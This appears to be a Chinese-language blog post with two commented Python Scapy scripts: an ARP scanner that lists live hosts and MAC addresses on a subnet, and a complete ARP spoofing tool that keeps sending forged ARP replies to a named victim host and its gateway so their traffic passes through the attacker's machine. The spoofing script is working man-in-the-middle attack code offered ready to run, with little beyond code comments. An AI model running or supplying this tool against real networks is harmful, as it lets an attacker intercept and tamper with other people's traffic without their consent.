赞
踩
ARP扫描:检测指定IP网段中哪些主机是在线的,并获取它们的MAC地址
- from scapy.all import *
- import argparse
- import threading
- import time
- import logging
-
- # 解析CIDR格式的网段,并返回IP地址列表
- # >接受一个CIDR格式的网段作为输入(例如192.168.1.0/24)。
- # >将网段解析为IP地址列表。
- # >通过子网掩码长度计算IP地址范围,并生成该网段内所有可能的IP地址。
- def Parse_IP(targets):
- """
- 将CIDR格式的网段字符串转换为IP地址列表。
-
- :param targets: CIDR格式的网段字符串,例如"192.168.1.1/24"
- :return: IP地址列表
- """
- _split = targets.split('/') # 按斜杠分割字符串,得到网络地址和子网掩码长度
- first_ip = _split[0] # 获取网络地址
- ip_split = first_ip.split('.') # 按点分割网络地址,得到各部分的数字
-
- # 生成IP地址范围
- ipv4 = range(int(ip_split[3]), int(ip_split[3]) + (2 ** (32 - int(_split[1]))))
-
- # 构建IP地址列表
- addr = [f"{ip_split[0]}.{ip_split[1]}.{ip_split[2]}.{p}" for p in ipv4]
- return addr
-
- # 使用ARP协议扫描指定IP地址,查找在线设备
- # >接受一个IP地址作为输入。
- # >使用Scapy发送一个ARP请求到这个IP地址,并等待回复
- # >如果收到ARP回复,则提取并打印出该IP地址对应的MAC地址
- def ARP_Scan(address):
- """
- 发送ARP请求到指定IP地址,并查找在线设备的MAC地址。
-
- :param address: 要扫描的IP地址
- """
- try:
- # 发送ARP请求并等待回复,超时时间为5秒
- ret = sr1(ARP(pdst=address), timeout=5, verbose=False)
-
- # 如果收到回复
- if ret:
- # 检查回复是否包含ARP层,并且操作码是否为2(表示ARP回复)
- if ret.haslayer('ARP') and ret.fields['op'] == 2:
- # 打印IP地址和对应的MAC地址
- print('[+] IP地址: %-13s ==> MAC地址: %-15s' %(ret.fields['psrc'], ret.fields['hwsrc']))
- except Exception as e:
- logging.error(f"An error occurred while scanning IP {address}: {e}")
- exit(1)
-
- # 程序入口
- # >argparse模块解析命令行参数
- # >如果提供了扫描网段参数,则调用Parse_IP函数解析网段,获取IP地址列表
- # >每个IP地址创建一个新的线程来执行ARP_Scan函数
- if __name__ == "__main__":
- # 设置Scapy的日志记录级别为ERROR,以减少不必要的输出
- logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
-
- # 创建命令行参数解析器
- parser = argparse.ArgumentParser()
- parser.add_argument("-s", "--scan", dest="scan", help="输入一个扫描网段")
-
- # 解析命令行参数
- args = parser.parse_args()
-
- # 如果提供了扫描网段参数
- if args.scan:
- # 解析网段并获取IP地址列表
- addr_list = Parse_IP(args.scan)
-
- # 创建线程列表
- threads = []
-
- # 对每个IP地址启动一个新的扫描线程
- for item in addr_list:
- t = threading.Thread(target=ARP_Scan, args=(item,))
- threads.append(t)
- t.start()
-
- # 等待所有线程完成
- for item in threads:
- item.join()
- else:
- parser.print_help()
ARP欺骗:通过伪造ARP响应来欺骗目标计算机和网关,使它们相信它们正在与对方通信,而实际上所有的通信都经过了攻击者的机器
- from scapy.all import *
- import argparse
- import threading, time
- import logging
-
- # 定义SendPayload函数,用于发送ARP欺骗的数据包
- def SendPayload(Interface, srcMac, tgtMac, gateWayMac, gatewayIP, tgtIP):
- # 打印目标MAC地址和目标IP地址,以及发送的数据包数量
- print("[+] 目标MAC: {} 目标IP: {} 发送: 2 packets".format(tgtMac, tgtIP))
-
- # 生成并发送第一个ARP数据包,伪造网关的IP和MAC地址,欺骗目标计算机
- # 使目标计算机认为网关的MAC地址是攻击者的MAC地址
- sendp(
- Ether(src=srcMac, dst=tgtMac) / # 以攻击者的MAC地址作为源MAC,目标计算机的MAC地址作为目的MAC
- ARP(hwsrc=srcMac, psrc=gatewayIP, hwdst=tgtMac, pdst=tgtIP, op=2), # ARP数据包,其中op=2表示ARP回复
- iface=Interface
- )
-
- # 生成并发送第二个ARP数据包,伪造目标计算机的IP和MAC地址,欺骗网关
- # 使网关认为目标计算机的MAC地址是攻击者的MAC地址
- sendp(
- Ether(src=srcMac, dst=gateWayMac) / # 以攻击者的MAC地址作为源MAC,网关的MAC地址作为目的MAC
- ARP(hwsrc=srcMac, psrc=tgtIP, hwdst=gateWayMac, pdst=gatewayIP, op=2),
- iface=Interface
- )
-
- if __name__ == "__main__":
- # 创建命令行参数解析器
- parser = argparse.ArgumentParser()
- # 接口名
- parser.add_argument("-i", "--interface", dest="interface", help="输入接口名")
- # 网关地址
- parser.add_argument("-g", "--gateway", dest="gateway", help="输入网关地址")
- # 目标主机地址
- parser.add_argument("-t", "--target", dest="target", help="输入被害主机地址")
- # 解析命令行参数
- args = parser.parse_args()
-
- if args.gateway and args.target:
- # 通过接口名称获取本机的MAC地址
- srcMac = get_if_hwaddr(args.interface)
-
- # 通过目标主机的IP地址获取其MAC地址
- tgtMac = getmacbyip(args.target)
-
- # 通过网关的IP地址获取其MAC地址
- gatewayMac = getmacbyip(args.gateway)
-
- # 持续发送ARP欺骗数据包
- while True:
- # 创建一个新线程来发送ARP欺骗数据包
- t = threading.Thread(target=SendPayload, args=(args.interface, srcMac, tgtMac, gatewayMac, args.gateway, args.target))
- t.start()
- t.join()
- time.sleep(1)
- else:
- parser.print_help()
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。